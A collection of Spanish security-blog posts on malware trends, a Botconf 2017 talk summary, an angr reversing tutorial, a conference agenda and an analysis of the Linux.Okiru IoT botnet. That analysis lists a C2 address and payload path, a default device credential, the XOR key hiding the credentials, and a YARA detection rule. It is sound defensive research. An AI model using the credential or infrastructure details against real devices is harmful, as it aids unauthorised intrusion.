Por último, el reciente Disdain EK ha estado infectando a sus víctimas con el Troyano Neutrino.

Como siempre, recordar que una de las mejores medidas para evitar infecciones a través de este vector de ataque, consiste en mantener actualizado tanto el navegador como cada uno de sus componentes.

Principales campañas de infección a través de malspam

Al igual que el mes pasado, debido al incremento de campañas de infección de malware a través de spam en detrimento de la utilización de Exploitkits, nos gustaría destacar también las diferentes campañas recientes llevadas a cabo por estos medios.

Este mes pasado tuvo especial impacto el caso de la campaña de infección del ransomware que añadía la extensión “.scarab” a los ficheros cifrados. La campaña consistía en un fichero de scripting en formato ”vbs” comprimido en un fichero “.7z“. Este venía adjunto a un correo en ingles, haciéndose pasar por una foto de móvil o un fichero impreso. La  campaña de infección ha sido atribuida a la botnet Necurs mencionada en el post de tendencias del mes pasado.

Otro caso que ha seguido siendo muy común es el de los intentos de infección a través de Hancitor, un documento con macros ya conocido por su elaborada lógica a la hora de infectar a sus víctimas, y sus capacidades anti detección que ha estado intentando colarnos el mencionado troyano IcedID.

En la mayoría de casos, el fichero adjunto al correo spam es un documento ofimático, como en el caso de Hancitor, y suelen ser fácilmente reconocibles una vez abiertos, por imágenes como estas que nos indican que debemos habilitar las macros, para que puedan infectarnos cómodamente:

Desde el laboratorio de malware esperamos que os sea de utilidad esta información que compartimos cada mes.

La entrada Tendencias de malware. Noviembre 2017 aparece primero en Security Art Work.

El pasado 6, 7 y 8 de diciembre tuvo lugar en Montpellier la 5ª edición de la Botconf.

Durante los tres días, más de 300 personas asistieron a la conferencia de las botnets por excelencia. Las charlas fueron todas de un alto nivel y se abordaron temas que fueron desde el desarrollo de herramientas para la obtención o clasificación de malware hasta los problemas legales que pueden acarrear la publicación de ciertas evidencias en nuestros descubrimientos.

A continuación se resumen algunas de las más de veinticinco charlas expuestas:

How to Compute the Clusterization of a Very Large Dataset of Malware with Open Source Tools for Fun & Profit

La charla que dio comienzo a la conferencia expuso la necesaria automatización en la clasificación de familias de malware, dado el elevado número de muestras con las que en estos días suelen trabajar los analistas.

Así pues, se nos presentó la implementación de varios algoritmos de Deep Learning para la clusterización de datos a partir del parseo de los resultados de análisis estáticos previos, como también algunos de los problemas surgidos relacionados con la dificultad que todavía supone la gestión de la complejidad por el Big Data.

Get rich or die trying (De APT a NPT)

La presentación de los analistas de CheckPoint se basó en un caso relacionado con la detección de campañas de phishing contra la petrolera Aramco. Lo que en un principio apuntaba a una campaña propia de grupos APT, dado el alto nivel de los objetivos de la campaña, no terminó siendo lo que parecía.

Una extensa arquitectura, y la inclusión de diferentes recursos en su comunicación, contrastaban con la utilización de herramientas comerciales (algo anticuadas por cierto) como ISR Stealer o Hawkeye keylogger, además de datos hardcodeados en las configuraciones, algo que es una técnica impropia de grupos de alto nivel. A través de estos últimos datos, pudieron acceder al mailbox del servidor CnC y descubrir, finalmente, que se trataba de una famosa estafa, siendo finalmente bautizada la amenaza como una NPT (Nigerian Prince Threat).

Exploring a P2P Trasient Botnet

Desde el laboratorio de malware de Morphus se nos presentó cómo, queriendo encontrar trazas de la botnet Mirai, habían encontrado una botnet con arquitectura P2P. Con una simple Raspberry con credenciales por defecto, consiguió descifrar su comunicación a través de la interceptación de los certificados, y detectar dos tipos de nodo. Así pues, elaboró dos estrategias para dimensionar la botnet: la primera fue hacer peticiones a los diferentes nodos; la segunda, a través de comandos internos trataba de convertir su bot en un nodo intermedio. Finalmente, llevó a cabo un experimento con 5 VPS distribuidos por todo el mundo, a través del cual pudo determinar que unos 25.000 dispositivos formaban parte de esta botnet.

RetDec, an Open Source Machine-Code Decompiler

Los analistas de Avast nos presentaron una alternativa a soluciones como Hex-Rays o SnowMan para la decompilación de código.

Este es un proyecto que lleva más de tres años en evolución y que toma Capstone como modelo para abarcar un gran número de arquitecturas. A pesar de ello, la verdadera magia la pone la infraestructura de compilación LLVM, además de incluir en el proceso diferentes parseos y la aplicación de reglas Yara.

A pesar de que, tal y como afirman sus creadores, su estado de madurez es todavía inferior a otras herramientas, ésta ofrece soporte para ARM y MIPS. Está disponible como plugin para IDA aunque el código será publicado durante los próximos días bajo licencia MIT.

Automation of IoT Botnet Takedown by an ISP

Desde OVH nos plantearon la paradoja del proveedor ante un ataque de denegación de servicio, donde muchas veces proporcionan servicios al CnC que está ejecutando las órdenes pero son incapaces de acceder a sus datos y obtener las evidencias que les permitan ejecutar las acciones de bloqueo. Así pues, decidieron abordar el problema automatizando la extracción de las direcciones IP de los servidores CnC de muestras de malware IoT como Mirai o QBot.

A new era of Android banking botnets

En esta charla se expuso la evolución que ha sufrido el malware para los dispositivos Android. Las técnicas que en un principio se basaban en SMS, tanto para la difusión de la botnet utilizando la ingeniera social, como para la comunicación con el servidor CnC, ha ido utilizando métodos más complejos como los popups en aplicaciones legítimas de Google. Pedro Drimel comentó que fue en 2015 el año de la verdadera sofisticación del malware para dispositivos móviles, año a partir del cual se pueden encontrar funciones anti-análisis para la emulación, así como el cifrado en las comunicaciones vía HTTPS.

Hunting Down Gooligan

Presentación surgida por la colaboración entre Checkpoint y Google. Nos presentaron cómo se llevó a cabo la detección y detención del malware llamado Gooligan, el cual hacia uso del robo de oauth para su difusión a través de Google Play, utilizando entre otros, la creación de comentarios y valoraciones a sus aplicaciones fraudulentas. Debido a que el acceso como root lo hacía a través del exploit kingroot (que además únicamente afecta a las versiones 3.x y 4.x), no afectó a todos los fabricantes por igual, centrándose su impacto en India y China. De cara a la solución del incidente, se llevó a cabo la suspensión del servidor, la revocación del token y la notificación a los usuarios.

YANT: Yet Another Nymaim Talk

En esta charla se analizó a bajo nivel las interesantes características del malware que afectó de gran manera a Polonia. Se resaltó la diversidad de las técnicas anti-sandbox, como también el almacenamiento de sus datos cifrados o la ofuscación de funciones internas. Sin embargo, el núcleo de la charla tuvo como objeto la exposición de las técnicas Heaven’s Gate, la hibridación de binarios y la ofuscación de la amenaza a través de ROP.

Augmented Intelligence to Scale Humans Fighting Botnets

El equipo de Akamai expuso la necesidad de automatización de tareas para el descubrimiento de dominios asociados a C2 generados a través de DGA, debido a que los tiempos de vida de éstos van disminuyendo y las limitaciones que surgen desde el análisis mediante ingeniería inversa. Así pues, presentaron cómo a través de la correlación en tiempo real de tráfico DNS, la generación de vectores a nuevos dominios, su clusterización y clasificación les permitió generar inteligencia, llegando incluso a bloquear clusters de dominios zero-day.

Statinko: an adware campaig

La presentación de Statinko ofreció uno de los análisis del malware más profundos de la conferencia, no sólo ofreciendo datos de bajo nivel sino proporcionando en todo momento el contexto de la situación. Desde el laboratorio de ESET se expuso la ocultación de la campaña a través de lo que parecían herramientas de edición de audio mp3, cuyos activos estaban perfectamente relacionados, pues contaban con diversas páginas web así como de repositorios en Github.

A pesar de que se trata de un malware modular con diversas capacidades en función del plugin descargado (puede actuar como RAT o bot de facebook), se basaba principalmente en la ejecución de ataques por fuerza bruta de CMS o la superposición de elementos a través de javascripts para la redirección.

Lighting talks

La tarde del jueves terminó con las lighting talks (o charlas relámpago) donde diez voluntarios elegidos entre los asistentes disponían de 3 minutos para llevar a cabo su presentación. La temática de las mismas era bastante variada, desde herramientas, distribuciones de linux para forense, análisis de malware y sobretodo, el humor aportado por las evidencias encontradas de campañas poco elaboradas.

Formatting for Justice: Crime Doesn’t Pay, Neither Does Rich Text

Desde Palo Alto se nos ofreció una charla sobre el formato de archivo de texto RTF. Indagando en sus capacidades para la ofuscación a través nesting (permitiendo concatenar campos vacíos) o deafault ignore (si no entiende un comando, lo ignora), nos presentó diferentes de sus aplicaciones como, por ejemplo, el CVE 2017-0199. Finalmente expuso diferentes técnicas para la detección de la actividad maliciosa en este tipo de documentos, basado en herramientas como rtfdump, rtfobj, pyRTF y, como no, Yara.

PWS, Common, Ugly but Effective

Esta charla se basó en los diferentes PassWords Stelars disponibles en la actualidad.

Durante la presentación se expusieron cuatro de las herramientas de robo de credenciales más conocidas en la actualidad. Se detalló cómo el stealer de Pony está totalmente escrito en ensamblador y cómo es capaz de robar credenciales de hasta 131 aplicaciones, mientras que de Agent Tesla destacó el autoupdate del builder (con frecuencias de hasta 5 veces al mes para no ser detectado por antivirus). Finalmente, terminó con algunos de los datos para su detección basados en el contenido de los parámetros de las peticiones POST o User-Agents por defecto.

Nyetya Malware & MeDoc connection

Desde Talos nos expusieron la gestión del incidente de Nyetya (o NotPetya) ante la tensión generada sólo semanas antes por WannaCry. Se expuso que no habiendo detectado el incremento del escaneo del puerto 445 o de campañas de phishing, todo apuntaba a un ataque dirigido. A través de los logs de error en el servidor interno, pudieron comprobar que la red interna había sido comprometida y que durante más de un mes y medio, las releases del software MeDoc distribuidas contenían una backdoor. Finalmente se resaltó que las modificaciones incluidas en el módulo de difusión, tanto en el mimikatz como en doblepulsar disminuían la posibilidad de ser detectado.

Math + GPU + DNS = Cracking Locky Seeds in Real Time without Analyzing Samples

De nuevo, los chicos de Akamai nos expusieron la forma de acatar la problemática de la gran actividad de estos últimos años del malware Locky.

Basándose en que el algoritmo DGA de éste ransomware es público, llevaron a cabo la investigación para la detección y bloqueo de los dominios generados.

A pesar que la semilla cambiaba diariamente, al disponer de todo el tráfico DNS, propusieron la solución de detectar diariamente cuáles de los dominios únicos eran nuevos y, junto a la potencia de las GPU, craquear una de las funciones del DGA y conseguir la correlación entre los dominios detectados y sus resultados.

Hunting lateral movement

Los analistas del CERT de Japón nos expusieron su estudio realizado sobre los diferentes análisis publicados sobre 7 APT, cuyo objetivo final era encontrar cuáles de las herramientas habían sido aquellas más utilizadas y la manera de ser rastreadas en una gestión de incidentes. La comparación de la información obtenida a través de los logs Audit del sistema y la herramienta Sysmon, y la explicación de las herramientas utilizadas para evitar el rastreo del atacante fueron algunos de los puntos más interesantes.

Por último, no quería terminar el post sin destacar el buen hacer de la organización de la conferencia, donde se cuidaron todo tipo de detalle, hasta la puntualidad (algo nada fácil en este tipo de eventos). Además, la ciudad de Montpellier, sumergida en una bellísima temática navideña, fue la perfecta anfitriona. ¡Nos vemos el próximo año en Toulouse!

La entrada Botconf, dans la maison du botnet aparece primero en Security Art Work.

Siguiendo con nuestra campaña de detección y documentación de botnets IoT, hace unos días encontramos otra amenaza no clasificada con anterioridad. Fue subida por primera vez a la plataforma VirusTotal el 3 de noviembre y solamente es detectada como maliciosa por 4 antivirus.

Durante el artículo se van a analizar dos variantes del malware, las cuales se diferencian fundamentalmente en su propagación. La primera de ellas fue detectada en nuestros sistemas honeypot (concretamente para la arquitectura SPARC). La segunda se trata de una variante de la primera, la cual fue encontrada bajo la arquitectura Intel x86_64, y de la cual el laboratorio de malware Netlab360 se hizo eco hace unos días.

Al no encontrar registros de su identificación, hemos decidido clasificarla como Linux.Okiru, debido al nombre de sus binarios.

Versión inicial

A diferencia de botnets detectadas anteriormente, esta busca la existencia de las rutas “/dev/FTWDT101_watchdog” y “/dev/FTWDT101\ watchdog” para evitar los reinicios, además de las ya conocidas “/dev/watchdog” y “/dev/misc/watchdog”.

Tras ello, el dispositivo va realizando peticiones SYN TCP escaneando puertos Telnet abiertos y generando IP aleatorias.

Al detectar un puerto 23 o 2323 abierto, lleva a cabo el intento de login con credenciales por defecto en servicios Telnet que estén abiertos a Internet.

Tal y como podemos observar en la imagen, las credenciales se encuentran cifradas con el algoritmo XOR, concretamente con la clave 0x07, que es una característica adoptada de la botnet Mirai y no presente en la mayoría de las botnets que actualmente están en activo.

Si realizamos el descifrado, las credenciales son las siguientes:

Llama la atención las credenciales root:t0talc0ntr0l4!, combinación por defecto de los sistemas de automatización de hogares de la empresa Control4. El resto son combinaciones ya conocidas con objetivos como routers o sistemas DVR.

Para la infección del dispositivo, el malware utiliza dos mecanismos: uno a través del protocolo tftp, y el otro a través de HTTP con el comando wget, donde descarga el binario malicioso desde el servidor C2.

Tal y como podemos observar en la imagen anterior, los dos protocolos se conectan contra la IP 37.48.99.233, y acceden al recurso “/fahwrzadws/okiru.%d” donde el último String será la arquitectura de la máquina infectada.

A través de este recurso pudimos obtener muestras de arquitectura x86, arm, arm4, arm7 y mips.

Versión dos

Esta segunda versión difiere de la primera fundamentalmente en la vía de propagación, la cual no se lleva a cabo a partir de las credenciales por defecto sino por la explotación de vulnerabilidades presentes en los puertos 37215 y 52869.

Exploit 1:

Petición POST que se lleva a cabo contra el puerto 37215.

Exploit 2:

El segundo exploit se trata de una variante de la vulnerabilidad CVE-2014-8361, la cual afecta al protocolo SOAP de la interfaz UpnP.

Tal y como se puede observar, se lleva a cabo la descarga del binario malicioso a través de la inyección de código en las vulnerabilidades. Las peticiones HTTP se hacen contra los siguientes CnC:

Como podemos ver, uno de los servidores hacer referencia a bigbotpein. El dominio network[dot]bigbotpein[dot]com ya fue utilizado como parte de la infraestructura de la variante de Mirai Freepein, el cual ya analizamos en nuestro informe. Además, la cadena bigbotpein también está incluida como parte de las variantes Satori y Bigbotpein de Mirai.

Así pues, todo apunta a que el actor que está detrás de este nuevo malware es Lizard Squad, conocidos por los diferentes ataques de denegación de servicio llevados a cabo contra la plataforma Playstation Network o Blizzard.

Se ha desarrollado la siguiente regla Yara para la detección de las muestras de la botnet Okiru:

rule LinuxOkiru: MALW
{
	meta:
		description = "Linux.Okiru"
		author = "Joan Soriano / @w0lfvan"
		date = "2017-11-03"
		version = "1.0"
		MD5 = "0e1e8079cc78cd242dd70867bc30c8d1"
		SHA256 = "601ad06dd9de8c19c196441f4a405c95dbd752c95fb017fda6c4fc7ca6d86d9c"
	strings:
		$a = "/usr/dvr_main _8182T_1108"
		$b = "/var/Challenge"
		$c = "/mnt/mtd/app/gui"
	condition:
		all of them
}

Versión inicial

 Versión dos

Referencias

• http://blog.netlab.360.com/warning-satori-a-new-mirai-variant-is-spreading-in-worm-style-on-port-37215-and-52869-en/

La entrada Análisis de Linux.Okiru aparece primero en Security Art Work.

Uno de los objetivos que en el análisis de un binario malicioso suele ser más difícil de obtener es el del descubrimiento de todas las funcionalidades que posee. Si además estas funcionalidades sólo se ejecutan a discreción de los atacantes a través de su centro de control, la cosa se complica. Por diversas razones, muchas veces no podemos llevar a cabo un análisis dinámico completo, como por ejemplo por la caída de la infraestructura del malware o el aislamiento de la muestra para evitar el contacto con el C&C. En estos casos suele ser más lento el análisis de la interacción entre el servidor del atacante y la muestra, ya que hay que crear un servidor ficticio o estar continuamente parcheando/engañando a la muestra para llevarla por todos los distintos caminos que queremos investigar. Dependiendo del tamaño y complejidad del código analizado o del objetivo del análisis, esta tarea puede variar su dificultad y extensión en el tiempo.

Voy a proponer un ejemplo de estudio de las funcionalidades de un RAT ficticio que pueden ser ejecutadas según las órdenes que reciba desde su panel de C&C. Nuestro objetivo sería crear un servidor que simule ser el del atacante. Para ello hemos de comprender el protocolo de comunicación entre el servidor y la muestra instalada en el dispositivo de la víctima.

En lugar de analizar todo el funcionamiento interno de la muestra utilizando las típicas herramientas de desensamblado y depuración, voy a delegar la responsabilidad de parte del análisis en una nueva herramienta que llevaba tiempo queriendo probar: ‘angr’. ‘angr’ es un entorno de trabajo para el análisis de binarios que hace uso tanto de análisis estático como dinámico simbólico del código. Este herramienta puede ser utilizada con distintos fines que se enumeran en su sitio web en el que además se muestran infinidad de ejemplos. Para esta entrada nos vamos a centrar en la ejecución simbólica, que puede definirse como el análisis de un programa para determinar qué condiciones de entrada han de darse para ejecutar diferentes partes de su código.

Debido a la complejidad de la herramienta, con el objetivo de facilitar su entendimiento voy a proponer un análisis sencillo de un código creado para ilustrar su uso:

https://gist.github.com/halos/15d48a46556645ae7ff2ecb3dfc95d73

El código simula ser un RAT que recibe instrucciones de un C&C desde la función ‘call_home’, inicializando el valor de una variable global ‘c2_resp’ que contendrá una orden del supuesto C&C. Después se ejecuta la función ‘exec_order’ que, según la información contenida en esta estructura, llevará a cabo unas operaciones u otras.

Los valores que pueden tomar los distintos campos de la estructura están definidos como constantes al principio del código. Contienen valores aleatorios para no dar pistas a los posibles analistas del significado de cada uno.

Sin embargo, a la hora de enfrentarnos a un malware en el laboratorio, carecemos del código fuente que lo generó, y solo disponemos del binario compilado. Esto sería todo lo que vemos de la función ‘exec_order’ si compilamos el anterior código en C:

Con un poco más de análisis se puede llegar a obtener un código en ensamblador algo más fácil de digerir:

Este código ya muestra una estructura algo más sencilla de comprender, pero aún tratándose de un código medianamente organizado, su longitud puede dificultar su análisis como puede verse en la siguiente imagen cuando profundizamos un poco más en la función:

Sin embargo, en el malware del día a día, la lógica de este tipo de programas no suele ser tan clara y no porque sus creadores no sepan programar, sino porque se busca dificultar el estudio que saben que se va a realizar de su creación.

Para estudiar esta muestra con ‘angr’ voy a necesitar conocer el valor de 4 direcciones de memoria para orientar a la herramienta sobre dónde y cómo trabajar:

1. ¿Dónde comienza el código que quiero estudiar?
2. ¿Dónde termina?
3. ¿A qué partes del código quiero llegar?
4. ¿Con qué variables puedo jugar?

Las dos primeras servirán a ‘angr’ para delimitar la zona de trabajo sobre la que poder evaluar todos sus posibles caminos y evitar así la pérdida de tiempo analizando caminos que no nos sirven en este estudio. En el tercer punto tendremos varias direcciones que marcarán las zonas de interés que quiero alcanzar y sobre las que se centrará el estudio. La 4ª apuntará al ‘buffer’ proveniente del servidor que, según contenga unos valores u otros, hará al programa alcanzar las distintas zonas de interés marcadas en el punto 3.

Puede verse en el código del primer grafo mostrado, que la función a analizar comienza en la dirección 0x0804844d, por lo que se le ha asignado a la constante START_ADDR. En la lista FIND_ADDRS se almacenan las direcciones a encontrar. Por ejemplo, se ha añadido la dirección 0x8048483 de la instrucción “push str.Creando_fichero:__s”, de la rama de ejecución para crear un fichero (bloque con la dirección 0x804847b).

Sin entrar en detalles profundos sobre el resto del código, solamente indicar que inicializo el analizador con el ejecutable compilado ‘a.out’ del código en C pasándole la dirección de inicio. Es necesario también señalar el buffer de respuesta del servidor (BUFF_ADDR) que será la variable sobre la que trabajar y le indico las direcciones donde parar el análisis. Finalmente le indicaré que comience a explorar el código con todas estas indicaciones e imprimiré los resultados de una forma que más o menos  pueda ser entendida por un humano:

La primera entrada que aparece viene a decir que si el C&C quiere ordenar al bot que borre un fichero (acción que se ejecuta en la dirección 0x80485050), mandará un ‘buffer’ con los bytes “00 E9 BB 64 D4 D4 01 1F  AF 78 09 6E 00 00 00 00 00 00 00 00”.

A continuación aparece, a modo de explicación/curiosidad, cómo se ha llegado a esa dirección jugando con el contenido de la dirección de memoria BUFF_ADDR. Cabe indicar que ‘angr’ trabaja a nivel de bits, de ahí los índices tan altos que aparecen para un buffer de solo 20 bytes (‘c2_resp_0_160[159:128]’).

La primera restricción indica que el 4º DWORD ha de contener el valor 0x64bbe900 (T_FILESYSTEM como puede verse en el código fuente en C). Sin embargo, sobre el contenido del tercer byte aparecen tres restricciones: que sea distinto de 0xaff80c17 y de 0xc6e6ef6b, y además debe valer 0x1f01d4d4. Aunque con la tercera restricción sería suficiente, esto ocurre por una razón. Al simular la ejecución, ‘angr’ ha de evitar entrar en ciertas ramas y la condición es que el tercer byte no tenga un valor que le haga entrar en distintos ‘if’. Si miramos el código en C creado, el 3^er byte, que se corresponde con el campo ‘fs_order’, se compara primero con las constantes FSO_CREATE (línea 55) y FSO_WRITE (línea 67), y finalmente entra en la rama de borrado cuando es igual a la constante FSO_DELETE (línea 71).

Esta información nos ayudará a comprender el protocolo de comunicación para obtener nuevos IOC, montar un servidor que simule ser el atacante, modificar el buffer de la muestra en vivo y de esta forma ir a tiro hecho centrándonos en ciertas funcionalidades, etc.

La entrada ‘Reversing’ de protocolos de red de malware con ‘angr’ aparece primero en Security Art Work.

Esta entrada corre a cargo de @charly837, Carlos Antonini, pentester y analista de seguridad, y uno de los coorganizadores del h-c0n Conference.

El próximo 2 y 3 de febrero tendrá lugar la primera edición de la h-c0n organizado por Hackplayers y Core Dumped, en el Campus Sur de la Universidad Politécnica de Madrid (Escuela Técnica Superior de Ingeniería de Sistemas Informáticos).

En el evento, más de 400 personas, van a poder disfrutar de ponencias relacionadas con el mundo de la ciberseguridad y talleres, donde los asistentes podrán poner en práctica técnicas novedosas en este campo.

Además se ha propuesto un CTF, formado por varias categorías que engloban el compromiso total, compromiso parcial, web, forense, criptografía, exploiting y reversing, siendo posible gracias a Ihacklabs. El CTF contará con un aforo máximo de 45 personas, donde los tres primeros podrán optar a una serie de premios.

A continuación se puede consultar el resumen de las ponencias http://www.h-c0n.com/p/agenda.html#agenda

TROYANIZANDO HARDWARE. Ten cuidado con que (USB) metes y dónde.

Por lo general la gente confía a ciencia ciega en que el hardware es únicamente lo que parece (un teclado, un ratón, un pendrive…) y no cuenta con que éste puede haber sido alterado con fines maliciosos y tomar el control del equipo atacado. La idea de la charla es ofrecer una aproximación a como modificar diversos tipos de hardware para tareas de pentesting.

CUCKOO´N´ROLL

Lo que se aprende administrando Cuckoo durante 6 años. En la charla se verán desde las cosas básicas hasta extracción de configuración de malware.

TÉCNICAS “FILE-LESS” PARA PENTESTING

Cada día es mas habitual que los creadores de malware utilicen técnicas “file-less” para infectar equipos. ¿Por qué? Pues porque no utilizar ficheros normales para ocultarse dificulta su detección por parte de Antivirus y herramientas similares. En esta presentación vamos a ver en que consisten estas técnicas y como podemos utilizarlas para mejorar la eficiencia de nuestros proyectos de pentesting.

VULNERABILIDADES EN DRONES

Versará sobre la situación de los drones dentro del marco legal actual, sus vulnerabilidades y cómo se utilizan para el diseño y desarrollo de los actuales Sistemas C-UAS (contra drones).

¿SABES QUÉ PASA EN TU NUBE? FORENSIC VERSION.

Con el mensaje: “Nadie duda que el Cloud es seguro” que van predicando los grandes proveedores en la nube, se intenta dar una sensación de seguridad por defecto que los técnicos sabemos que no es real. A través de unos ejemplos, se verán incidentes que pasan en la nube y el trabajo a nivel forense que se puede realizar.

COMUNICACIONES SECRETAS Y REDES “STAY-BEHIND”: El proyecto “Harpoon”.

En esta conferencia se expondrá, además de una breve introducción histórica sobre las redes clandestinas Stay-Behind, el funcionamiento a nivel técnico y de COMSEC (Seguridad en Comunicaciones) de las redes secretas de espionaje, usando como ejemplo el equipo transceptor FS-5000 “HARPOON”, usado desde finales de la Guerra Fría.
Además los asistentes tendrán la ocasión única de ver un equipo real durante la ponencia, así como una descripción detallada de sus excepcionales características y funcionalidades.

THE A.R.T. (ADVANCED RED TEAM) OF INTRUSION TECHNIQUES.

Ponencia sobre técnicas y procedimientos utilizados en intrusiones realizadas durante ejercicios de Red Team, detallando técnicamente con ejemplos prácticos todas las fases del modelo de Kill Chain con especial énfasis en la parte de post-explotación una vez logrado el hito de acceder a la red interna.
La charla será eminentemente técnica y detallada, desde herramientas y frameworks existentes hasta modificaciones y otras propias diseñadas expresamente, con comandos y ejemplos de uso especificando hasta el último parámetro.

POST EXPLOTACIÓN CON EMPIRE.

La charla que daremos será sobre iniciación a la post explotación en sistemas Windows con Empire Mod Hackplayers. Un framework escrito en Python y PowerShell. Y veremos algunos módulos y stages que hemos implementado en HackPlayers.

EXPLOITING: A LOVE STORY

Se englobara toda la historia sobre el exploiting desde como se desarrollan las diferentes técnicas, las contramedidas que surgieron para las mismas, su funcionamiento y como se han conseguido evitar.

HACKING CON PYTHON.

Se trata de una charla en la que se explican algunas de las técnicas de hacking que se pueden implementar utilizando Python junto con algunas librerías y herramientas externas que se encuentran disponibles públicamente. El objetivo de la charla consiste precisamente en que los asistentes puedan ver de primera mano y en un formato completamente práctico dichas técnicas y puedan valorar la potencia que ofrece un lenguaje de scripting como es en este caso Python para realizar ciertos tipos de ataques de forma automatizada.
Se espera que los asistentes tengan un nivel mínimo de conocimientos en Hacking y programación para que puedan seguir cada uno de los ejemplos y que la charla sea de provecho para ellos, no obstante, dado que el formato de la charla será completamente práctico, los asistentes podrán ver el funcionamiento de cada uno de los scripts de ejemplo para que posteriormente tengan la posibilidad de desarrollar sus propias ideas.

MEMORIAS DE UN PERITO INFORMÁTICO FORENSE VOL. IV+I

Hacer respuesta ante incidentes requiere una buena metodología, identificar evidencias en base a los indicios y y empezar a buscar en base a lo que se tiene. Claro, todo esto es muy fácil cuando tienes un sistema en el que hay artefactos en los que mirar pero…. y cuándo el contenido del sistema entero ha sido cifrado por un ransomware ¿qué se puede hacer? En esta charla se explicarán dos casos de este estilo a los que tuvo que enfrentarse este perito.

HARDWARE REVERSING (FIRMWARE y UEFI).

Introducción al análisis de Aplicaciones UEFI Una introducción para iniciarse en el mundo del análisis de UEFI, durante varios años cada día es mas frecuente escuchar la palabra UEFI en esta charla tratare de contar que es y que no es UEFI así como una introducción para la depuración de aplicaciones que serán de utilidad para tomar contacto sobre el estándar UEFI.

La entrada h-C0N Hackplayers Conference aparece primero en Security Art Work.

Destacado: Android Loapi y BrowserLockers

Un mes más, desde el laboratorio de malware de S2 Grupo queremos compartir con vosotros lo que se está cociendo en el mundo del malware. Recordar que en este tipo de entradas encontraremos amenazas conocidas, vistas en otras fuentes o analizadas directamente en nuestro laboratorio, pero el objetivo del post es conocer qué tipo de amenazas están activas.

A continuación mostramos un diagrama con la información recopilada este mes desde el laboratorio:

Para poder observar de un modo más visual determinadas tendencias relativas a la infraestructura de algunas amenazas actuales, una vez más queremos mostraros unas gráficas que consideramos interesantes. La idea es sencilla y consiste en recopilar de diferentes fuentes abiertas y de fuentes propias, direcciones IP de Command and Controls (C2 a partir de ahora). Después esta información recopilada la representamos de diferentes maneras como veremos a continuación:

TOP 5 C2

La primera consiste en el TOP 5 de C2 distintos encontrados por un mismo tipo de malware, lo cual nos ayuda a hacernos una idea de su nivel de actividad durante este mes:

Además, los diferentes colores identificados en la leyenda de la derecha, muestran el país al que corresponden cada una de las direcciones IP de dichos C2.

TOP10 de direcciones IP con dominios de C2

En segundo lugar, tenemos organizado el TOP10 de direcciones IP con mayor cantidad de dominios de C2 distintos que hemos recopilado.

Esta vez los colores nos muestran el tipo de malware al que corresponde cada dominio de dichas IP.

Malware de Android que puede dejarte sin móvil

El pasado mes de diciembre desde Kaspersky detectaron una aplicación maliciosa para Android a la que llamaron Loapi. Desde el blog de Malwarebytes publicaron un artículo donde explican sus capacidades, que no son pocas:

• Capacidad de minar criptomoneda.
• Muestra constantemente molesta publicidad al usuario a fin de conseguir que haga click por error y obtener ingresos.
• Funciones de troyano SMS que le permiten enviar, eliminar y remitirlos a los malos.
• Crawling de Webs a fin de dar de alta al usuario a servicios de pago.

En resumen, todo lo que suelen hacer varios tipos de malware pero todo en uno. La cuestión es que en el caso del minado de criptomoneda ocurre que cuanto mayor sea el rendimiento del dispositivo, mayores los ingresos que genera. Esto causa que se hayan dado casos de malware como este, en que esto ha llegado a recalentar los dispositivos hasta el punto de causar que parte del hardware se sobrecaliente demasiado dejando el dispositivo inservible.

Dejar los dispositivos inservibles no era la intención de los malos detrás de este tipo de amenazas, pero tampoco tienen especial interés en que los usuarios conserven sus dispositivos, por lo que en un uso descuidado de su herramienta generan este resultado, en algunos casos, haciendo que estas amenazas supongan una amenaza mucho mayor de lo que ya son de por sí.

Browser Lockers, la alternativa simple al Ransomware

Este tipo de amenaza aparece como una evolución de la publicidad abusiva que bloquea la web con mensajes de alerta en bucle para evitar que el usuario sea capaz de cerrarla.

Y en algunos casos llega a actuar de forma muy parecida al ransomware, bloqueando el equipo por completo y agobiando al usuario con sonido y mensajes de alerta con la esperanza de que pague para liberar su equipo. En la práctica, lo único que hacen es poner el navegador en pantalla completa, intentando imitar el escritorio con una imagen que contenga la barra de inicio:

De esta forma aparenta que tiene el control del equipo, y agobia al usuario con sonido y mensajes de alerta con la esperanza de que se rinda y siga las indicaciones que le dan. En la práctica, es solo un triste intento de Ransomware, ya que si el usuario reinicia el PC o consigue matar el proceso del navegador, conseguirá cerrar la web, y su ordenador continuará en perfecto estado y sin ningún tipo infección.

Esto no quita que en muchos casos consigan su objetivo y obtengan ingresos a partir de los usuarios. En el post referenciado al principio de este apartado, remarcan que consiguen llegar a obtener una media de 400$ por usuario, lo cual supone un gran negocio. 

Exploitkits (EK) más activos

Como siempre repasamos la reciente actividad de los distintos ExploitKits(EK) con más impacto durante este mes. Durante este mes de noviembre, la principal actividad referente a estos, ha venido de la mano de RIG EK, Magnitude y Disdain.

RIG EK ha vuelto a la carga, con algo más de variedad de malware, consistiendo en los troyanos Bunitu, AZORult y Ramnit y un software de minado de Criptomoneda Monero.

Un mes más, Magnitude  ha seguido infectado a sus víctimas con el Ransomware Magniber.

Y por último, Kaixin EK ha instalado en los equipos que ha podido comprometer muestras de RAT Gh0stRAT.

Como siempre, recordar que una de las mejores medidas para evitar infecciones a través de este vector de ataque, consiste en mantener actualizado tanto el navegador como cada uno de sus componentes.

Principales campañas de infección a través de malspam

Este mes ha sido un mes cargado de troyanos distintos en lo que a campañas de Malspam se refiere.

Destacando el hecho del incremento en el uso de documentos RTF que explotan las vulnerabilidades CVE-2017-0199 y CVE-2017-11882, documentos que instalaban muestras de Lokibot y Remcos respectivamente.

Y en cuanto al caso más común, que es el de documentos de Office con macros, todo tipo de Rats como Pony, Trickbot, Dreambot o Dridex y las variantes de Ransomware Nymaim y Globeimposter.

Estos últimos, requieren que el usuario interactúe con ellos, por lo que no confiar en documentos de orígenes desconocidos, especialmente que nos piden que habilitemos su contenido, supone una gran medida de seguridad al alcance de todo el mundo que puede evitar la mayoría de infecciones por estas vías.

Desde el laboratorio de malware esperamos que les sea de utilidad esta información que compartimos cada mes.

La entrada Tendencias de malware. Diciembre 2017 aparece primero en Security Art Work.